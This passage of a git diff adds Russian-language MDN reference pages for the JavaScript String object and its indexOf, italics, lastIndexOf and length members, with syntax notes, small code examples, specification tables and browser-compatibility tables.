+console.log(typeof s_prim); // выведет 'string'
+console.log(typeof s_obj);  // выведет 'object'
+</pre>
+
+<p>Строковые примитивы и объекты <code>String</code> также дают разные результаты при использовании глобальной функции {{jsxref("Global_Objects/eval", "eval()")}}. Примитивы, передаваемые в <code>eval()</code>, трактуются как исходный код; объекты же <code>String</code> трактуются так же, как и все остальные объекты, а именно: возвращается сам объект. Например:</p>
+
+<pre class="brush: js notranslate">var s1 = '2 + 2';             // создаёт строковый примитив
+var s2 = new String('2 + 2'); // создаёт объект String
+console.log(eval(s1));        // выведет число 4
+console.log(eval(s2));        // выведет строку '2 + 2'
+</pre>
+
+<p>По этим причинам код может сломаться, если он получает объекты <code>String</code>, а ожидает строковые примитивы, хотя в общем случае вам не нужно беспокоиться о различиях между ними.</p>
+
+<p>Объект <code>String</code> также всегда может быть преобразован в его примитивный аналог при помощи метода {{jsxref("String.prototype.valueOf()", "valueOf()")}}.</p>
+
+<pre class="brush: js notranslate">console.log(eval(s2.valueOf())); // выведет число 4
+</pre>
+
+<div class="note"><strong>Примечание:</strong> для того, чтобы узнать больше о другом возможном подходе к строкам в JavaScript, прочитайте статью о <a href="/ru/Add-ons/Code_snippets/StringView"><code>StringView</code> — C-подобном представлении строк на основе типизирванных массивов</a>.</div>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства к объекту <code>String</code>.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Properties", "prototype")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()")}}</dt>
+ <dd>Возвращает строку, созданную из указанной последовательности значений Юникода.</dd>
+ <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает строку, созданную из указанной последовательности кодовых точек Юникода.</dd>
+ <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает строку, созданную из сырой шаблонной строки.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint", "raw")}}</div>
+
+<h2 id="String_generic_methods" name="String_generic_methods">Общие методы объекта <code>String</code></h2>
+
+<p>Методы экземпляров <code>String</code> также доступны в Firefox как часть JavaScript 1.6 (который не является частью стандарта ECMAScript) на объекте <code>String</code>, что позволяет применять эти методы к любому объекту:</p>
+
+<pre class="brush: js notranslate">var num = 15;
+console.log(String.replace(num, /5/, '2'));
+</pre>
+
+<p>{{jsxref("Global_Objects/Array", "Общие методы", "#Array_generic_methods", 1)}} также доступны для объекта {{jsxref("Global_Objects/Array", "Array")}}.</p>
+
+<p>Следующая прослойка позволяет использовать их во всех браузерах:</p>
+
+<pre class="brush: js notranslate">/*globals define*/
+// Предполагаем, что все требуемые методы экземпляров String уже присутствуют
+// (для них так же можно использовать полифиллы, если их нет)
+(function() {
+  'use strict';
+
+  var i,
+    // Мы могли построить массив методов следующим образом, однако метод
+    //   getOwnPropertyNames() нельзя реализовать на JavaScript:
+    // Object.getOwnPropertyNames(String).filter(function(methodName) {
+    //   return typeof String[methodName] === 'function';
+    // });
+    methods = [
+      'quote', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase',
+      'toLocaleUpperCase', 'localeCompare', 'match', 'search',
+      'replace', 'split', 'substr', 'concat', 'slice'
+    ],
+    methodCount = methods.length,
+    assignStringGeneric = function(methodName) {
+      var method = String.prototype[methodName];
+      String[methodName] = function(arg1) {
+        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+      };
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignStringGeneric(methods[i]);
+  }
+}());
+</pre>
+
+<h2 id="String_instances" name="String_instances">Экземпляры объекта <code>String</code></h2>
+
+<h3 id="Properties_of_String_instance" name="Properties_of_String_instance">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_String_instance" name="Methods_of_String_instance">Методы</h3>
+
+<h4 id="Methods_unrelated_to_HTML" name="Methods_unrelated_to_HTML">Методы, не относящиеся к HTML</h4>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</div>
+
+<h4 id="HTML_wrapper_methods" name="HTML_wrapper_methods">Методы-обёртки HTML</h4>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_String_conversion" name="Example:_String_conversion">Пример: преобразование в строку</h3>
+
+<p>Объект <code>String</code> можно использовать как «безопасную» альтернативу методу {{jsxref("String.prototype.toString()", "toString()")}}, так как хотя он обычно и вызывает соответствующий метод <code>toString()</code>, он также работает и для значений {{jsxref("Global_Objects/null", "null")}} и {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p>
+
+<pre class="brush: js notranslate">var outputStrings = [];
+for (var i = 0, n = inputValues.length; i &lt; n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string-objects', 'String')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.String",2)}}</p>
+
+<div></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="/ru/Add-ons/Code_snippets/StringView"><code>StringView</code> — C-подобное представление строк на основе типизированных массивов</a></li>
+ <li><a href="/ru/docs/Web/API/DOMString/Binary">Двоичные строки</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/indexof/index.html b/files/ru/web/javascript/reference/global_objects/string/indexof/index.html
new file mode 100644
index 0000000000..2b91bdc97a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/indexof/index.html
@@ -0,0 +1,194 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/indexOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>indexOf()</code></strong> возвращает индекс первого вхождения указанного значения в строковый объект {{jsxref("Global_Objects/String", "String")}}, на котором он был вызван, начиная с индекса <code>fromIndex</code>. Возвращает -1, если значение не найдено.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.indexOf(<var>searchValue</var>, [<var>fromIndex</var>]</code>)</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>Строка, представляющая искомое значение.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Необязательный параметр. Местоположение внутри строки, откуда начинать поиск. Может быть любым целым числом. Значение по умолчанию установлено в 0. Если <code>fromIndex &lt; 0</code>, поиск ведётся по всей строке (так же, как если бы был передан 0). Если <code>fromIndex &gt;= str.length</code>, метод вернёт -1, но только в том случае, если <code>searchValue</code> не равен пустой строке, в этом случае он вернёт <code>str.length</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Символы в строке идут слева направо. Индекс первого символа равен 0, а последнего символа в строке <code>stringName</code> равен <code>stringName.length - 1</code>.</p>
+
+<pre class="brush: js">'Синий кит'.indexOf('Синий');   // вернёт  0
+'Синий кит'.indexOf('Голубой');  // вернёт -1
+'Синий кит'.indexOf('кит', 0);    // вернёт  6
+'Синий кит'.indexOf('кит', 5);    // вернёт  6
+'Синий кит'.indexOf('', 8);       // вернёт  8
+'Синий кит'.indexOf('', 9);      // вернёт 9
+'Синий кит'.indexOf('', 10);      // вернёт 9
+</pre>
+
+<h3 id="Case-sensitivity" name="Case-sensitivity">Регистрозависимость</h3>
+
+<p>Метод <code>indexOf()</code> является регистрозависимым. Например, следующее выражение вернёт -1:</p>
+
+<pre class="brush: js">'Синий кит'.indexOf('синий'); // вернёт -1
+</pre>
+
+<h3 id="Checking_occurrences" name="Checking_occurrences">Проверка на вхождение</h3>
+
+<p>Обратите внимание, что значение 0 не вычисляется в <code>true</code>, а значение -1 не вычисляется в <code>false</code>. Поэтому, для проверки того, что конкретная строка содержится в другой строке, правильно делать так:</p>
+
+<pre class="brush: js">'Синий кит'.indexOf('Синий') !== -1; // true
+'Синий кит'.indexOf('Голубой') !== -1; // false
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_indexOf_and_lastIndexOf" name="Example:_Using_indexOf_and_lastIndexOf">Пример: использование методов <code>indexOf()</code> и <code>lastIndexOf()</code></h3>
+
+<p>В следующем примере используются методы <code>indexOf()</code> и {{jsxref("String.prototype.lastIndexOf()", "lastIndexOf()")}} для нахождения значений в строке <code>"Дивный новый мир"</code>.</p>
+
+<pre class="brush: js">var anyString = 'Дивный новый мир';
+
+console.log('Индекс первого вхождения «й» с начала строки равен ' + anyString.indexOf('й'));
+// Отобразит 5
+console.log('Индекс первого вхождения «й» с конца строки равен ' + anyString.lastIndexOf('й'));
+// Отобразит 11
+
+console.log('Индекс вхождения «новый» с начала строки равен ' + anyString.indexOf('новый'));
+// Отобразит 7
+console.log('Индекс вхождения «новый» с конца строки равен ' + anyString.lastIndexOf('новый'));
+// Отобразит 7
+</pre>
+
+<h3 id="Example:_indexOf_and_case-sensitivity" name="Example:_indexOf_and_case-sensitivity">Пример: метод <code>indexOf()</code> и регистрозависимость</h3>
+
+<p>В следующем примере определяются две строковых переменных. Переменные содержат одинаковые строки, за исключение того, что слова во второй строке начинаются с заглавных букв. Первый вызов метода {{domxref("console.log()")}} отобразит 18. Но поскольку метод <code>indexOf()</code> является регистрозависимым, строка <code>"чеддер"</code> в переменной <code>myCapString</code> не будет найдена, так что второй вызов метода <code>console.log()</code> отобразит -1.</p>
+
+<pre class="brush: js">var myString    = 'бри, пеппер джек, чеддер';
+var myCapString = 'Бри, Пеппер Джек, Чеддер';
+
+console.log('Вызов myString.indexOf("чеддер") вернул ' + myString.indexOf('чеддер'));
+// Отобразит 18
+console.log('Вызов myCapString.indexOf("чеддер") вернул ' + myCapString.indexOf('чеддер'));
+// Отобразит -1
+</pre>
+
+<h3 id="Example:_Using_indexOf_to_count_occurrences_of_a_letter_in_a_string" name="Example:_Using_indexOf_to_count_occurrences_of_a_letter_in_a_string">Пример: использование метода <code>indexOf()</code> для подсчёта вхождений буквы в строку</h3>
+
+<p>Следующий пример устанавливает значение переменной <code>count</code> в количество вхождений буквы <code>в</code> в строку <code>str</code>:</p>
+
+<pre class="brush: js">var str = 'Быть или не быть, вот в чём вопрос.';
+var count = 0;
+var pos = str.indexOf('в');
+
+while (pos !== -1) {
+  count++;
+  pos = str.indexOf('в', pos + 1);
+}
+
+console.log(count); // отобразит 3
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/italics/index.html b/files/ru/web/javascript/reference/global_objects/string/italics/index.html
new file mode 100644
index 0000000000..3876249dcb
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/italics/index.html
@@ -0,0 +1,114 @@
+---
+title: String.prototype.italics()
+slug: Web/JavaScript/Reference/Global_Objects/String/italics
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/italics
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>italics()</code></strong> создаёт HTML-элемент {{HTMLElement("i")}}, заставляющий строку отображаться курсивом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.italics()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>italics()</code> заключает строку в тег <code>&lt;i&gt;</code>: <code>"&lt;i&gt;str&lt;/i&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_italics" name="Example:_Using_italics">Пример: использование метода <code>italics()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения форматирования строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+document.write(worldString.blink());
+document.write(worldString.bold());
+document.write(worldString.italics());
+document.write(worldString.strike());
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">&lt;blink&gt;Привет, мир&lt;/blink&gt;
+&lt;b&gt;Привет, мир&lt;/b&gt;
+&lt;i&gt;Привет, мир&lt;/i&gt;
+&lt;strike&gt;Привет, мир&lt;/strike&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.italics', 'String.prototype.italics')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/string/lastindexof/index.html
new file mode 100644
index 0000000000..853670b0e1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/lastindexof/index.html
@@ -0,0 +1,155 @@
+---
+title: String.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>lastIndexOf()</code></strong> возвращает индекс последнего вхождения указанного значения в строковый объект {{jsxref("Global_Objects/String", "String")}}, на котором он был вызван, или -1, если ничего не было найдено. Поиск по строке ведётся от конца к началу, начиная с индекса <code>fromIndex</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.lastIndexOf(<var>searchValue</var>[, <var>fromIndex</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchValue</code></dt>
+ <dd>Строка, представляющая искомое значение.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Необязательный параметр. Местоположение внутри строки, откуда начинать поиск, нумерация индексов идёт слева направо. Может быть любым целым числом. Значение по умолчанию установлено в <code>str.length</code>. Если оно отрицательно, трактуется как 0. Если <code>fromIndex &gt; str.length</code>, параметр <code>fromIndex</code> будет трактоваться как <code>str.length</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Символы в строке идут слева направо. Индекс первого символа равен 0, а последнего символа в строке <code>stringName</code> равен <code>stringName.length - 1</code>.</p>
+
+<pre class="brush: js">'канал'.lastIndexOf('а');     // вернёт 3
+'канал'.lastIndexOf('а', 2);  // вернёт 1
+'канал'.lastIndexOf('а', 0);  // вернёт -1
+'канал'.lastIndexOf('ч');     // вернёт -1
+</pre>
+
+<h3 id="Case-sensitivity" name="Case-sensitivity">Регистрозависимость</h3>
+
+<p>Метод <code>lastIndexOf()</code> является регистрозависимым. Например, следующее выражение вернёт -1:</p>
+
+<pre class="brush: js">'Cиний кит, касатка'.lastIndexOf('синий'); // вернёт -1
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_indexOf_and_lastIndexOf" name="Example:_Using_indexOf_and_lastIndexOf">Пример: использование методов <code>indexOf()</code> и <code>lastIndexOf()</code></h3>
+
+<p>В следующем примере используются методы {{jsxref("String.prototype.indexOf()", "indexOf()")}} и <code>lastIndexOf()</code> для нахождения значений в строке <code>"Дивный новый мир"</code>.</p>
+
+<pre class="brush: js">var anyString = 'Дивный новый мир';
+
+console.log('Индекс первого вхождения «й» с начала строки равен ' + anyString.indexOf('й'));
+// Отобразит 5
+console.log('Индекс первого вхождения «й» с конца строки равен ' + anyString.lastIndexOf('й'));
+// Отобразит 11
+
+console.log('Индекс вхождения «новый» с начала строки равен ' + anyString.indexOf('новый'));
+// Отобразит 7
+console.log('Индекс вхождения «новый» с конца строки равен ' + anyString.lastIndexOf('новый'));
+// Отобразит 7
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.8', 'String.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/length/index.html b/files/ru/web/javascript/reference/global_objects/string/length/index.html
new file mode 100644
index 0000000000..f794c6ccdf
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/length/index.html
@@ -0,0 +1,116 @@
+---
+title: String.length
+slug: Web/JavaScript/Reference/Global_Objects/String/length
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>length</code></strong> представляет длину строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.length</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Это свойство возвращает количество кодовых значений в строке. В {{interwiki("wikipedia", "UTF-16")}}, строковом формате, используемом в JavaScript, для представления большинства символов используется одно 16-битное кодовое значение, но для представления не так часто используемых символов требуется два кодовых значения, так что вполне может быть так, что значение, возвращённое свойством <code>length</code> не будет соответствовать действительному количеству символов в строке.</p>
+<p>Для пустых строк свойство <code>length</code> возвращает 0.</p>
+<p>Статическое свойство <code>String.length</code> возвращает значение 1.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Basic_usage" name="Example:_Basic_usage">Пример: базовое использование</h3>
+<pre class="brush: js">var x = 'Mozilla';
+var empty = '';
+
+console.log('Слово «Mozilla» занимает ' + x.length + ' кодовых значений');
+/* "Слово «Mozilla» занимает 7 кодовых значений" */
+
+console.log('Пустая строка имеет длину, равную ' + empty.length);
+/* "Пустая строка имеет длину, равную 0" */
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a class="external" href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">Свойство <code>String.length</code> в JavaScript и интернационализация веб-приложений</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/link/index.html b/files/ru/web/javascript/reference/global_objects/string/link/index.html
new file mode 100644
index 0000000000..00cec2d905
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/link/index.html
@@ -0,0 +1,131 @@
+---
+title: String.prototype.link()
+slug: Web/JavaScript/Reference/Global_Objects/String/link
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/link
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
